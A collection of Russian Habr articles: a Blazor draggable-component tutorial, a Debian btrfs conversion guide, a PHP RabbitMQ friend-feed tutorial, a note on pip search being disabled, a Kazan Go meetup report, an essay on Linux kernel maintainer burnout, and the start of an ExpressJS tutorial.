Перетаскивание перестает работать из-за [Overwritten parameters problem](https://docs.microsoft.com/en-us/aspnet/core/blazor/components/?view=aspnetcore-5.0#overwritten-parameters-1), т.е. перезаписывания входных параметров внутри компонента. Происходит следующее:
* Draggable обновляет x,y
* это приводит к перерисовке компонента
* перерисовка приводит к пересетингу входных параметров, т.е. x,y опять становятся 250, 150.
> Отсюда вытекает общее правило: обновления входных параметров внутри компонента лучше избегать - это может приводить к неожиданному поведению.
>
>
Решить проблему можно следующим образом:
* оставить внутренние поля x,y как было - не делать из них входные параметры,
* сделать отдельные свойства для параметров,
* начальные значения внутренних полей x,y выставлять на OnInitialized
```
...
@code {
...
double x;
double y;
[Parameter] double X { get; set; }
[Parameter] double Y { get; set; }
protected override void OnInitialized() {
x = X;
y = Y;
...
}
…
void OnMove(object? _, MouseEventArgs e) {... x=... y=...}
```
*Листинг 11. Компонент Draggable. Поля x, y, устанавливаются в начальные значения в OnInitialized*
Недостаток такого решения в том, что обновления входных параметров после инициализации ни на что не влияет, нельзя из внешнего компонента поменять положение объекта. Далее этот недостаток будет устранен.
Двухсторонний биндинг между родителем и дочерним компонентом
------------------------------------------------------------
#### Биндинг Child -> Parent: параметр обновляется внутри компонента, родитель извещается об изменении
Биндинг Child->Parent делается добавлением входных параметров XChanged, YChanged типа EventCallback. Названия параметров формируются по правилу: “{название параметра }Changed”.
```
...
@code {
...
double x;
double y;
[Parameter] double X { get; set; }
[Parameter] public EventCallback XChanged { get; set; }
[Parameter] double Y { get; set; }
[Parameter] public EventCallback YChanged { get; set; }
...
void OnMove(object? \_, MouseEventArgs e) {
...
x=... y=...
XChanged.InvokeAsync(x);
XChanged.InvokeAsync(xy;
}
```
*Листинг 12. Компонент Draggable. Параметры X, Y с поддержкой биндинга Child -> Parent*
Теперь в родительском компоненте можно отслеживать изменения X, Y:
```
Solar system position: @X , @Y
...
<.svg>
@code {
double X = 250;
double Y = 150;
}
```
*Листинг 13. Использование Draggable с биндингом X, Y*
*Рис 2. Дочерний компонент изменяет входные параметры, родитель подписан на изменения*
#### Биндинг Parent -> Child: родительский компонент обновляет параметры дочернего
Сейчас родитель может отслеживать изменения положения Draggable, может задать начальное положение, но не может изменить положение после инициализации.
Дочерний компонент “из коробки” получает изменения входных параметров: set-теры X, Y вызываются каждый раз при изменении в родительском компоненте. Весь вопрос в том, как обработать эти события и избежать проблемы перезаписи входных параметров (см.выше).
Хочется чтобы Draggable поддерживал оба варианта:
* задание начального положения без отслеживания изменений координат,
* отслеживание изменений координат и возможность менять положение из родительского компонента.
```
задание начального положения без отслеживания изменений
...
отслеживание изменений
...
```
*Листинг 14. Два варианта использования Draggable: с отслеживанием изменений и без*
Тут код становится некрасивым.
```
...
double? x;
[Parameter]
public double X {
get { return x ?? 0; }
set { if (!x.HasValue || (!isDown & XChanged.HasDelegate)) { x = value; } }
}
[Parameter] public EventCallback XChanged { get; set; }
...
protected override void OnInitialized() {
mouseSrv.OnMove += OnMove;
mouseSrv.OnUp += OnUp;
base.OnInitialized();
}
bool isDown;
void OnDown(MouseEventArgs e) {... isDown = true; }
void OnMove(object? \_, MouseEventArgs e) {... }
void OnUp(object? \_, MouseEventArgs e) {isDown = false; }
```
*Листинг 15. Компонент Draggable. Входные параметры X, Y можно изменять из родительского компонента*
Алгоритм следующий:
* если инициализация (!x.HasValue) - устанавливаем начальное значение x,
* если компонент сейчас перемещается пользователем (isDown) - игнорируем сеттинг входного параметра X
* если компонент сейчас не перемещается пользователем и входной параметр привязан к свойству родителя (XChanged.HasDelegate) - обновляем x.
Для Y тоже самое.
*Рис 3. Двухсторонний биндинг*
Draggable внутри Draggable внутри Draggable. stopPropagation на Blazor
----------------------------------------------------------------------
Конечно нужно попробовать положить Draggable в Draggable.
```
Sun
Earth
Moon
```
*Листинг 16. Draggable внутри Draggable*
*Рис 4. Draggable внутри Draggable без stopPropagation*
Красиво, но пользоваться невозможно. Если тянуть вложенный Draggable, тянуться начинает и внешний.
В HTML события мышки, например, onmousedown, всплывают снизу вверх. Т.е. вначале срабатывает onmousedown вложенного объекта, потом onmousedown родительского.
В Draggable событием начала перетаскивания является onmousedown. Если не допустить всплывания события до родительского объекта, то перетаскиваться будет только вложенный.
```
@ChildContent
```
*Листинг 17. Компонент Draggable. Запрет всплывания события onmousedown*
Теперь можно изобразить солнечную систему:
* луна движется вокруг земли, значит земля перетаскивается вместе с луной,
* земля движется вокруг солнца, значит солнце перетаскивается вместе с землей и луной.
*Рис 4. Draggable поддерживает вложенные Draggable, двухсторонний инициализацию без биндинга параметров*
Как использовать Draggable-компонент в своем проекте
----------------------------------------------------
1. Скопируйте IMouseService - листинг 5
2. Зарегистрируйте IMouseService в Program.cs - листинг 6.
3. Скопируйте Draggable из репозитория GitHub
4. Подпишитесь на onmousemove и onmouseup svg - листинг 1
Ссылки
------
<https://docs.microsoft.com/en-us/aspnet/core/blazor/components/?view=aspnetcore-5.0#overwritten-parameters-1>
<https://docs.microsoft.com/en-us/aspnet/core/blazor/components/data-binding?view=aspnetcore-3.1#parent-to-child-binding-with-component-parameters>
<https://chrissainty.com/3-ways-to-communicate-between-components-in-blazor/>
<https://visualstudiomagazine.com/articles/2020/01/27/suppressing-events-blazor.aspx> | https://habr.com/ru/post/581192/ | null | ru | null |
# Как конвертировать Debian Wheezy (или более новую) систему в btrfs
Новый GRUB может обрабатывать /boot раздел в формате btrfs, так что теперь не нужно иметь отдельный раздел отформатированный в ext2/3/4.
Далее предполагаем, что вся ваша файловая система представлена одной партицией. Если же у вас под каждый раздел /usr/, /var и т.д. создана отдельная партиция то модифицируйте их по отдельности, согласно приведённой ниже инструкции.
Итак, приступим…
1. Сделайте бэкап раздела. Никто не несёт ответственности за возможную утерю данных кроме вас самих!
2. Скачайте и запишите на CD или флешке Debian Wheezy (или более новый).
3. Загрузитесь с созданного загрузочного образа.
4. `fsck -f /dev/sdaX` (где /dev/sdaX это root-партиция)
5. Проверьте доступен ли ваш любимый текстовый редактор (vim, ed, mine и т.д.) и btrfs-tools, если нет то установите их.
6. `btrfs-convert /dev/sdX`
7. `mount /dev/sdX /mnt`
8. Подмонтируйте в /mnt разделы /proc, /dev, /sys:
`mount -o bind /dev /mnt/dev`
`mount -o bind /sys /mnt/sys`
`mount -o bind /proc /mnt/proc`
9. `chroot /mnt`
10. Отредактируйте /etc/fstab, найдите строку для root-раздела (/) и смените UUID на прямое описание /dev/sdX, смените тип файловой системы с ext3/ext4 на btrfs, уберите «лишние» опции оставив просто defaults, замените последнюю цифру 1 на 0.
11. `ls -la /boot`
Вы должны увидеть файл вроде: initrd.img-3.1.0-1-686-pae.
Строка после 'initrd.img-' это версия ядра которую необходимо использовать далее.
12. `mkinitramfs 3.1.0-1-686-pae -o /boot/initrd.img-3.1.0-1-686-pae`
13. `grub-install /dev/sdX`
14. `update-grub`
15. `exit` (выходим из chroot окружения)
16. Размонтируем в /mnt разделы /proc, /dev, /sys и сам /mnt:
`umount /mnt/proc`
`umount /mnt/dev`
`umount /mnt/sys`
`umount /mnt`
17. Перегружаемся и молимся.
18. Через некоторое время система должна загрузиться, вводим 'mount' и убеждаемся, что она работает на btrfs.
19. Выполните:
`update-initramfs -u -t -kall`
Если всё прошло успешно то можно смело удалять бэкап /ext2\_saved который был создан в процессе преобразования файловой системы. Делаем это так:
`btrfs subvolume delete /ext2_saved`
ps: Вольный перевод [статьи](http://goo.gl/At3X0). | https://habr.com/ru/post/139590/ | null | ru | null |
# PHP-AMQP Что нового у Друзей?
При построении социальной сети по типу шардинга встает проблема обмена данными между шардами. Традиционная репликация в данном случае не подходит по разным причинам. Тема шардинга — это отельная большая тема и не является предметом данной статьи.
В данной архитектуре для реализации «ленты Друзей» или «Новостной ленты» лучше использовать сервер очередей используя систему: Подписка-Уведомление. В качестве брокера обмена предлагается использовать сервер очередей RabbitMQ, реализующий протокол AMQP, который был выбран по причине хорошей масштабируемости. Серверная часть реализована на PHP, используя расширение [php-rabbit](http://code.google.com/p/php-rabbit) ([описание АПИ](http://habrahabr.ru/blogs/webdev/73671/)).
Архитектура Подписка-Уведомление представляет собой событийный подход. Кто-либо подписывается на Ваше события. Как только на Вашей персональной странице произошли какие-либо изменения: загрузилась новая фотография или видео, Вы — написали в блоге, получили подарок или просто пукнули, т.е. возникло некое событие, то Подписчики, сразу об этом узнают через уведомления.
Как это ложится на «ленту Друзей»: Пусть все Друзья по умолчанию подписаны на некоторое событие: загрузка фото, загрузка видео, запись в блоге, обновление профиля, создание опроса и т.д. При возникновения некоторого события, например загрузка фото, в Ваш личный Обмен (Exchange) пишется сообщение, например время загрузки, с ключом «photo».
Все, кто Подписан на Ваши события, получают данные сообщения, которые читают из своих личных Очередей ( Queue). Более подробно о брокере обмена можно почитать в статье [«AMQP по русски»](http://habrahabr.ru/blogs/webdev/62502/)
Все на много проще если мы рассмотрим простой Пример:
Пусть Пользователь **ХабраМозг** имеет двоих друзей: **ХабраЛох**, **ХабраЛузер**. Пользователи **ХабраЛох** и **ХабраЛузер** подписаны на все события. Пусть третий Пользователь **ХабраЧайник** решил подписаться только на обновление блога.
При заведении логина **ХабраМозг** мы создаем в брокере Обмен «HabraGuru». Также необходимо создать очередь, чтоб наш Пользователь мог читать ленты его друзей.
`$cnn = new APMQConection();
$exchange = new AMQPExchange($cnn);
$exchange->declare('HabraGuru', 'topic',AMQP_DURABLE );
$queue = new AMQPQueue($cnn);
$queue ->declare('HabraGuru', AMQP_DURABLE)`
параметр AMQP\_DURABLE дает указание брокеру не сбрасывать (сохранять) очередь /обмен при перезагрузки.
При возникновение отношения «Дружба» мы автоматически подписываем пользователей **ХабраЛох** и **ХабраЛузер** на все события Пользователя **ХабраМозг**.
`$cnn = new APMQConection();
$queue = new AMQPQueue($cnn, 'HabraLoh');
$queue->bind('HabraGuru', '*' );`
и
`$cnn = new APMQConection();
$queue = new AMQPQueue($cnn, 'HabraLuser');
$queue->bind('HabraGuru', '*' );`
А Пользователь **ХабраЧайник** зашел на блог Пользователя **ХабраМозг**, блог ему понравился и он нажал на ссылку «Подписаться». При этом выполнится следующий код:
`$cnn = new APMQConection();
$queue = new AMQPQueue($cnn, 'HabraTeapot');
$queue->bind('HabraGuru', 'blog' );`
Пусть Пользователь **ХабраМозг** выложил презентацию *«Как устроена лента Друзей»*, следствии чего по окончании загрузки выполнилась следующая часть кода, которое публикует сообщение $msg:
`$msg = json_encode( array('date'=> date('d-m-y'), 'type'=> 'presentation' , title => 'FriendLenta. How to.'));
$cnn = new APMQConection();
$exchange = new AMQPExchange($cnn, 'HabraGuru');
$exchange->publish( $msg, 'presentation');`
в данном примере в качестве обмена данными используется JSON, но это не принципиально, можно использовать и csv, и xml, и к чему душа ближе лежит
Раз в 1/2/4/6/12/24 часов (кто как настроит) отрабатывает кронскрипт, который для каждого пользователя строит его личную ленту.
`$queue = new AMQPQueue(APMQConection(), 'HabraLuser');
while (1){
$res = $queue->get();
if ($res['count']<0) break;
// echo "$i.{$res['msg']}";
// call QueueItemCallBack( $res['msg'] );
// обрабатываем принятые сообщения и строим "ленту Друзей"
}`
Сообщение (title => 'FriendLenta. How to.') от Пользователя **ХабраМозг** получат пользователи **ХабраЛох** и **ХабраЛузер**. А Пользователь **ХабраЧайник** данного сообщения не получит. Однако, если Пользователь **ХабраМозг** решит выложить в блог, рассказ о "*Ленте Друзей"*, то выполнится код:
`$msg = json_encode( array('date'=> date('d-m-y'), 'type'=> 'blog' , title => 'How to developed the FriendLenta'));
$cnn = new APMQConection();
$exchange = new AMQPExchange($cnn, 'HabraGuru');
$exchange->publish( $msg, 'blog');`
то при чтении своей очереди ( $queueName = 'HabraTeapot' ), Пользователь **ХабраЧайник** получит сообщение (title => 'How to developed the FriendLenta'), так как оно было отправлено с ключом «blog», на которое он был подписан: $queue->bind('HabraGuru', 'blog' );
Решили отписаться от сообщений — нет проблем:
`$cnn = new APMQConection();
$queue = new AMQPQueue($cnn, 'HabraTeapot');
$queue->unbind('HabraGuru', 'blog' )`;
Сервер очередей работает по принципу FIFO: первый пришел, первый вышел. Так что может возникнуть ситуация, когда пришло слишком много сообщений, например после долгого отпуска, то мы хотим сосчитать только последнюю тысячу (из 15-ти тысяч). В этом случае:
— берем длинну очереди $len = $queue->declare();
— если $len > MAXQUEUELEN то $dummy = $len — MAXQUEUELEN;
— считываем $dummy элементов очереди (в нашем случае 14 тыс );
— оставшиеся MAXQUEUELEN обрабатываем (1 тыс сообщений );
Как видно все работает надежно и просто. По такому же принципу устроена «Доска объявлений» и «Новостная лента».
Подписываемся на все новости в Москве:
`$queue = new AMQPQueue(new APMQConection(), 'HabraGuru');
$queue->bind('HabraGuru', '*.msk' );`
Подписываемся на новости о недвижимости в Москве:
`$queue = new AMQPQueue(new APMQConection(), 'HabraGuru');
$queue->bind('HabraGuru', 'realty.msk' );`
Подписываемся на все новости о недвижимости
`$queue = new AMQPQueue(new APMQConection(), 'HabraGuru');
$queue->bind('HabraGuru', 'realty.*' );`
Подписываемся на объявления о недвижимости, «детские вещи» и авто:
`$queue = new AMQPQueue(new APMQConection(), 'HabraGuru');
$queue->bind('HabraGuru', 'realty.notes.spb' );
$queue->bind('HabraGuru', 'children.notes.spb' );
$queue->bind('HabraGuru', 'auto.notes.spb' );`
Подписываемся на погоду:
`$queue = new AMQPQueue(new APMQConection(), 'HabraGuru');
$queue->bind('HabraGuru', 'weathe.spb' );`
Очевидно, примеры кода наглядно показывают как просто реализовать «ленту Друзей,» новостную ленту, объявления или | https://habr.com/ru/post/73904/ | null | ru | null |
# Сообщество Go в Казани и наши митапы
2-го декабря 2018 прошёл [первый](https://www.meetup.com/Golang-Kazan/events/256726987/) проведённый [Казанским Go сообществом](https://vk.com/golang_kazan) митап.
5-го января следующего года планируется провести [следующий](https://www.meetup.com/Golang-Kazan/events/257152659/).
В этой статье немного расскажу о недавно созданном сообществе, наших планах, прошедшем митапе, а также о программе предстоящей встречи.
Go user groups
==============
Если посмотреть на страницу [wiki/GoUserGroups](https://github.com/golang/go/wiki/GoUserGroups), то можно увидеть множество сообществ в разных городах и странах.
Несмотря на то, что список по этой ссылке нельзя рассматривать как исчерпывающий, Российских сообществ там описано только три:
* [Golang Москва](http://www.meetup.com/Golang-Moscow/) — Moscow, Russia.
* [Golang Питер](http://www.meetup.com/Golang-Peter/) — Saint Petersburg, Russia.
* [Golang Новосибирск](http://www.meetup.com/GolangNSK/) — Novosibirsk, Russia.
Так получилось, что я не живу ни в одном из этих городов и ездить на митапы в них не вполне удобно. Поиск по другим источникам тоже не выявил наличия высокой активности Go сообщества в Казани или Нижнем Новгороде.
Были каналы `meetup-tatar` и `meetup-nizhny` в [слаке русскоязычного сообщества](http://golang-ru.slack.com/). Этого могло хватить для общения и начала, но для регулярных встреч нужно больше участников и охват более широкой аудитории. Проблема слака в том, что не каждый хочет им пользоваться, а некоторые просто ни разу не слышали об этом workspace (golang-ru).
Если цель сообщества — это популяризовать технологию и помочь в её освоении и решении проблем, которые с ней возникают, то нужны дополнительные усилия и платформы, одного канала в слаке не хватит.
> Заглянув на [wiki/GoUserGroups](https://github.com/golang/go/wiki/GoUserGroups) сейчас, вы увидите там `Golang Казань` рядом с остальными русскоязычными группами. Добавлены мы перед публикацией этой самой статьи.
Start with "why?"
=================
Допустим, вам, также как и мне, хочется время от времени встречаться с людьми со схожими интересами, обсудить какие-то насущные (преимущественно, технические) проблемы, послушать, что есть рассказать другим, а также иногда выступать в роли докладчика самому. Не обязательно отмечать каждый пункт, но думаю большинству хотя бы что-то из этого может быть необходимо в большей или меньшей степени.
Когда я работал в [Intel Russia](https://github.com/intel-go), большого выбора города для проживания не было. В Нижнем Новгороде есть отличная "IT тусовка", среди которых я больше всего знаком с [GDG Nizhny Novgorod](https://vk.com/gdgnizhny), [it52](https://vk.com/it52info) и [defcon\_nn](https://vk.com/defcon_nn). Но встречи исключительно по Go на регулярной основе никто не проводил.
Когда становится сложно жить одной лишь работой, начинаешь замечать окружающее тебя пространство, недостатки города и его инфраструктуры, нехватку каких-то мероприятий.
Для меня ответом на вопрос "Why?" было желание улучшить пространство, в котором я живу. Переехать в другой город было другим вариантом, но тут уже будут проблемы другого характера.
Тем более это всё выглядело как проблема, которую нужно решить. Когда такая проблема встаёт перед глазами, о ней сложно перестать думать.
Нижний Новгород
===============
В Нижнем Новгороде мы успели провести два митапа, одну open source contribution встречу, а также поучаствовали в хакатоне Hacktoberfest-2018.
На первую встречу, которую я старался не анонсировать как "митап", пришло 2 человека (зато каких!).
Хотелось узнать сколько людей может прийти, если не делать практически никаких попыток рекламировать событие. Но возможно формат "собраться и поконтрибьютить в open source" просто не может иметь большое количество желающих поучаствовать.
А вот на "настоящие митапы", к моему удивлению, приходило довольно много людей. На первый собрали 50-55 человек, на второй пришло более 70 (при 104 регистрациях).
Казалось бы, дальше уже работать на воспроизведение и поддержание (возможно это даже более тяжело, чем начинать), но я ушёл из своей команды и вернулся в Казань. Если бы не это обстоятельство, я бы сейчас рассказывал о том, как классно у нас всё получилось в Нижнем Новгороде и как сильно в этом помогла [Екатерина Винниченко](https://vk.com/vertigo1004).
[Go сообщество Нижнего Новгорода](https://vk.com/golang_nizhny) никуда не делось, возможно на следующей DevFest конференции будет несколько докладчиков из Go сообщества (на прошлой был только один).
**Дополнительная информация по сообществу в Нижнем**
---
Следующая встреча в Нижнем Новгороде запланирован на начало февраля, при поддержке [GDG](https://vk.com/gdgnizhny).
Помимо группы в vk у нас есть группа в Telegram: <https://t.me/golang_events_nizhny>.
Доклады выкладываются на <https://golang-events-nizhny.github.io/>.
---
Казань или Татарстан?
=====================
Начало с почти чистого листа.
По предварительным оценкам казалось, в Казани меньше Go программистов и меньше компаний, которые используют Go в разработке. Но при этом рядом с нами есть [Иннополис](http://www.innopolis.com/), который уже проводил несколько мероприятий, напрямую связанных с нашим любимым языком программирования (на некоторых из которых я даже принимал участие). Упомянутый выше `meetup-tatar` канал включал в себя людей из Йошкар-Олы, которая не является частью Татарстана.
Вариантов для названия было два: `Golang Казань` или `Golang Татарстан`.
Для того, чтобы избежать нежелательного разделения и без того маленького, но уже существующего сообщества, я выбрал `Golang Tatarstan`. Это же название позволяло избежать проблем с Иннополисом, который не является частью Казани, но входит в состав Татарстана. Нам важно сотрудничать, а не создавать почву для недопонимания и конкурирования на ровном месте.
Некоторое время региональное название носили все группы и каналы, которые я создал. Но сейчас выбор названия `Golang Казань` выглядит более разумным. Это более честно по отношению к остальным городам. Дополнительным доводом в пользу привязки к конкретному городу являюстя [гайдлайны GDG](https://developers.google.com/programs/community/gdg/resources/), быть частью которого может быть выгодно для всех сторон. В скором времени может произойти повсеместное переименование `s/Tatarstan/Kazan/`.
Планы и цели сообщества
=======================
Основной задачей является повышение узнаваемости Go среди IT-специалистов Казани.
На самом первой встрече, во время открытия, как раз назывались наши [основные цели и инструменты](https://docs.google.com/presentation/d/1F1PHMg_jeCiQ1k2F_db_Mcr64xtt7MM6akWL6JgOG10/edit?usp=sharing).
Вот примерный список того, чем мы можем помочь превращению Go в популярную технологию в Казани и её окрестностях:
* `(1 star)` Качественные блог-посты, статьи и прочие публикации в разных медиа
* `(1 star)` Организация и участие в митапах (+ неформальные встречи меньшего масштаба)
* `(2 stars)` Воркшопы
* `(2 stars)` Курсы и мастер-классы (онлайн и оффлайн, в том числе в университетах)
* `(3 stars)` Участие в локальных конференциях (1 или более наших докладчиков)
* `(5 stars)` Организация конференция (или участие в организации)
[Пора переходить на Go](https://www.meetup.com/Golang-Tatarstan/events/256726987)
=================================================================================
Первый митап помогли организовать ребята из [FIX](https://vk.com/fix_company). Они предоставили площадку, чай и кофе с печеньками для перерыва. Бюджет был нулевой (не было спонсоров), поэтому такая поддержка была бесценна.
Доклады:
* [Надо всё переписать на Go](https://docs.google.com/presentation/d/1L18EgsN_0s0FeOexlvCWIf5bMwR59KiYkjARgrMMtDw/edit?usp=sharing) — [Искандер Шарипов](https://github.com/Quasilyte/)
* [Личная боль при работе с БД в Go](https://speakerdeck.com/quasilyte/lichnaia-bol-pri-rabotie-s-bd-v-go) — [Роберт Егоров](http://t.me/regorov)
* [Go +5 к пользе, -5 к боли](https://prezi.com/view/G9blK5hgorxroSCMPGGD/) — Александр Немтарёв
Записи не было, зато есть небольшой [фотоотчёт](https://vk.com/album-174239157_257715911).
Примерно 30% участников ответили, что так или иначе используют Go на работе. Примерно 40-50% участников практически не знакомы с Go и пришли из любопытства. Возможно имеет смысл организовывать отдельные встречи специально для начинающих, где все доклады будут начального уровня, плюс всегда давать какую-то короткую вводную речь о Go.
Хорошей новостью было то, что некоторые люди захотели помочь в этом начинании. Мы обменялись контактами, а некоторые из нас продолжили общение в ближайшем кафе.
[Happy new Go year](https://www.meetup.com/Golang-Kazan/events/257152659/)
==========================================================================
Следующий наш митап будет почти сразу после нового года, 5-го января!
На данный момент подтверждены 4 доклада. В программе есть место для пятого доклада, поэтому если вам интересно прийти и рассказать о чём-то, связанном с Go, можете смело заявлять об этом в комментариях.
* [Илья Шихалеев](https://habr.com/users/ilyashikhaleev/) расскажет о том, как лучше работать с ошибками в Go и не утонуть в них. Этот доклад особенно полезен для начинающих гоферов.
* [Ольга Смирнова](https://vk.com/olga_luzhajka) опишет как привлечь внимание HR и правильно заявить о ваших навыках, а также о том, как потом от этого внимания убежать, после того, как вы найдёте работу своей мечты.
* [Антон Кучеров](https://idexter.ru/) расскажет о том, какие подводные камни ожидают вас при внедрении микросервисной архитектуры и как безопасно попробовать микросервисы, если у вас нет ресурсов для написания собственного фреймворка.
* [Сергей Шамбир](https://vk.com/sshambir) поделиться инструкцией "как собрать ваш проект на Go в docker через docker в docker".
Очень сильно с организацией помог [Илья](https://habr.com/users/ilyashikhaleev/). Он не только приедет с докладом, но и поможет вместе с [iSpring](https://www.ispring.ru/) покрыть расходы на проведение мероприятия.
Присоединяйтесь, объединяйтесь и организуйте!
=============================================
Если вы живёте где-то в Татарстане или даже в самой Казани, следить за анонсами можно в [vk группе](https://vk.com/golang_kazan) или на сайте [meetup.com](https://www.meetup.com/Golang-Kazan/).
Активных гоферов из других городов приглашаем в качестве докладчиков. | https://habr.com/ru/post/433916/ | null | ru | null |
# Отключение pip search
Вчера, при попытке найти интересующий меня пакет через pip я получил довольно объёмное сообщение об ошибке `xmlrpc.client.Fault`.
Если убрать часть подробностей о стеке вызовов, то выглядело оно так:
```
$ pip search opencv
ERROR: Exception:
Traceback (most recent call last):
File "/home/user/.local/lib/python3.6/site-packages/pip/_internal/cli/base_command.py", line 224, in _main
status = self.run(options, args)
...
File "/usr/lib64/python3.6/xmlrpc/client.py", line 656, in close
raise Fault(**self._stack[0])
xmlrpc.client.Fault:
```
Поиск сообщения об ошибке в интернете привел на страницу разработчиков pip с обсуждением неудачного API поиска пакетов, периодически приводящего к повышенной нагрузке на серверы. [Запись, объясняющая причину появления ошибки](https://github.com/pypa/pip/issues/5216#issuecomment-744605466), датирована 14 декабря 2020 года.
Если коротко, то на серверах, обслуживающих инфраструктуру хранения пакетов PyPI, в очередной раз возникла проблема, связанная с обработкой поисковых запросов. Поскольку улучшить ситуацию при нынешней реализации API не представляется возможным, поиск пакетов с помощью pip отключен на неопределённый срок. В качестве альтернативы предлагается использовать веб-поиск на <https://pypi.org>. | https://habr.com/ru/post/533484/ | null | ru | null |
# Мейнтейнеры не масштабируются
Система разработки и поддержки ядра Linux не так идеальна, как хотелось бы. Почему бы не улучшить нынешнюю систему, используя в качестве эксперимента успешный опыт других проектов? С таким предложением выступил разработчик Дэниел Веттер (Daniel Vetter). Он подготовил [доклад](https://www.linux.conf.au/schedule/presentation/57/) на эту тему для конференции LCA 2017 ([слайды](http://blog.ffwll.ch/slides/lca-2017.pdf)), а также опубликовал более подробный [текст](http://blog.ffwll.ch/2017/01/maintainers-dont-scale.html) в блоге.
Дэниел Веттер последние несколько лет занимается поддержкой драйвера ядра для графики Intel drm/i915, он работает в Intel Open Source Technology Center. Драйвер drm/i915 поддерживают два мейнтейнера, а примерно 19 разработчиков имеют право коммитить патчи сразу в основную ветку. «Это вполне нормальная ситуация для сообщества open source, но совершенно немыслимое дело для ядра Linux», — говорит Дэниел. Он считает, что такая организация работы над драйвером вполне успешно себя проявила и её вполне можно использовать в других местах. Например, в ядре Linux, где сейчас на мейнтейнеров приходится слишком большая нагрузка.
Вот основные тезисы доклада.
Культ занятости и выгорание
===========================
Веттер пишет, что при обсуждении темы мейнтейнеров всегда первым делом поднимается тема постоянной занятости и нехватки времени. На западе это настоящий культ — разработчик должен быть перегружен работой, работать сверхурочные часы, он всегда должен быть занят, в таком случае его считают героем. Если у тебя появилось свободное время — ты какой-то бездельник и, наверное, отлыниваешь от работы.
Культ занятости ведёт к выгоранию — нарастающему эмоциональному истощению, которое может повлечь за собой личностные изменения в сфере общения с людьми (вплоть до развития глубоких когнитивных искажений). Согласно [клинике](http://psyfactor.org/personal/personal17-02.htm), эмоциональное выгорание проявляется нарастающим безразличием к своим обязанностям и происходящему на работе, дегуманизацией в форме негативизма к свои коллегам и пользователям, а также негативном самовосприятии в профессиональном плане, неудовлетворённости своей работой.
Другими словами, при эмоциональном истощении разработчики ругаются друг с другом, а также чувствуют, как будто у них не хватает профессионального мастерства.
Эмоциональное выгорание часто начинается при недостаточно высокой оплате труда человека и/или недостаточно высоком психологическом поощрении его труда. В этом случае возникает ощущение, что его работа не имеет ценности. Иногда напряжённый труд в период эмоционального выгорания сопровождается злоупотреблением алкоголем.
Дэниел Веттер считает, что эмоциональное выгорание — это основная угроза для разработчика, который работает в проекте open source: «Лично я прошёл через несколько сложных этапов, прежде чем осознал свои лимиты и стал соблюдать их», — пишет он. Культ занятости и выгорание мейнтейнеров вполне объяснимо. Ты начинаешь работать с двумя-тремя разработчиков, а через несколько лет их количество возрастает до нескольких десятков. Естественно, что времени не хватает на всё. Хорошо об этом процессе и своём собственном выгорании [рассказал Джейкоб Каплан-Мосс](https://www.youtube.com/watch?v=EqcuzSwySR4), один из основных разработчиков Django, тоже бывший мейнтейнер.
Каждый год на конференции разработчиков ядра обсуждается тема, [счастлив ли Линус](https://lwn.net/Articles/662979/).
Проблему выгорания ни в коем случае нельзя игнорировать, поэтому следует чётко следить за тем, чтобы не работать слишком много.
Мейнтейнеры ядра Linux
======================
По мнению автора, нынешние мейнтейнеры ядра Linux работают слишком много, и это нездоровая ситуация. Примерно 80% всех патчей мейнтейнеры накатывают от имени других авторов. Обычно изменения сбрасываются в список рассылки, здесь их обсуждают, а потом мейнтейнер добавляет патч в свою ветку git. Затем каждый мейнтейнер отправляет запрос на включение сделанных изменений, часто напрямую Линусу. Для некоторых крупных подсистем (сетевой стек, графика, ARM-SoC) есть второй или третий уровень мейнтейнеров. Только 20% патчей в ядро приходят напрямую от авторов.
Большинство мейнтейнеров действительно сильно нагружены работой. Один человек присматривает за несколькими областями ядра с соответствующими разными ветками git и репозиториями.
Дэниел Веттер говорит, что в своём проекте drm/i915 около года назад они внедрили радикально иную систему, когда всем разработчикам дали равные права на добавление патчей в репозиторий `drm-intel`. Сейчас такие права есть у 19 человек. По итогам первого года работы эксперимент выглядит вполне удачно. Сейчас около 70% коммитов в репозиторий происходят напрямую от авторов.
Автор также ссылается на [опыт сообщества Rust](https://www.youtube.com/watch?v=dIageYT0Vgg) (доклад с прошлогодней конференции LCA), в котором такая система работает очень хорошо.
Дэниел Веттер много лет работал по традиционной модели с мейнтейнерами, сейчас получил новый опыт и с уверенностью говорит, что нынешняя модель мейнейнеров ядра Linux просто не масштабируется. Речь идёт не о том, что иерархическая модель технически недееспособна при увеличении количества разработчиков. Совсем нет. Эта модель git доказала свою успешность. Речь идёт об эффективности, с которой патчи рассматриваются и вносятся в ядро. Вот эта эффективность снижается.
В сообществе принято так, что мейнтейнера назначают чуть ли не пожизненно. Он тянет эту лямку в ущерб социальной и личной жизни. В сообществе разработчиков ядра Linux не предусмотрена формальная общественная структура управления, которая вступает в действие при увеличении масштаба проекта.
«Если цель проекта — мировое доминирование или по крайней мере создание чего-то долговременного, то лучше иметь надёжную организацию, которая справляется с текучкой рабочей силы», — пишет Веттер. Вместо этого мейнтейнеры порождают новые уровни иерархии, которые только усугубляют ситуацию. Так, в графической подсистеме для простого драйвера иногда требуются патчи в пять разных веток. Вероятность практически 100%, что хотя бы один из мейнтейнеров не будет сразу доступен, и процесс растягивается надолго.
Ещё одна проблема в том, что при нынешней иерархической системе большая часть патчей самих мейнтейнеров никто не рассматривает и не анализирует. Это уже похоже на диктатуру. «Плоская» система с равными правами лишена такого недостатка.
Неудивительно, что даже в сообществе Debian сейчас обсуждают [переход на модель без мейнтейнеров](https://lwn.net/Articles/708163/).
Вместо нынешней иерархической структуры Дэниел Веттер предлагает рассмотрить нечто вроде mesh-сети, где разработчики имеют равные права на коммиты. Он считает, что мейнтейнеры, которые жалуются на нехватку времени и в том же время говоррят, что не могут никому доверять, на самом деле плохо делают свою работу.
Нужно больше доверять людям, но быть готовым сделать `git revert`. Мейнтейнер должен помнить, что он обслуживает разработчиков, а не они служат ему. | https://habr.com/ru/post/320092/ | null | ru | null |
# Построение полноценного MVC веб-сайта на ExpressJS
NB: Это материал для тех, кто уже ознакомился с теоретической основой node.js и хочет, как говорится, с места в карьер — поскорей окунуться в разработку с применением этого инструмента. Никакой дедукции, only coding. Если заинтересовало, не стесняемся, проходим под кат.
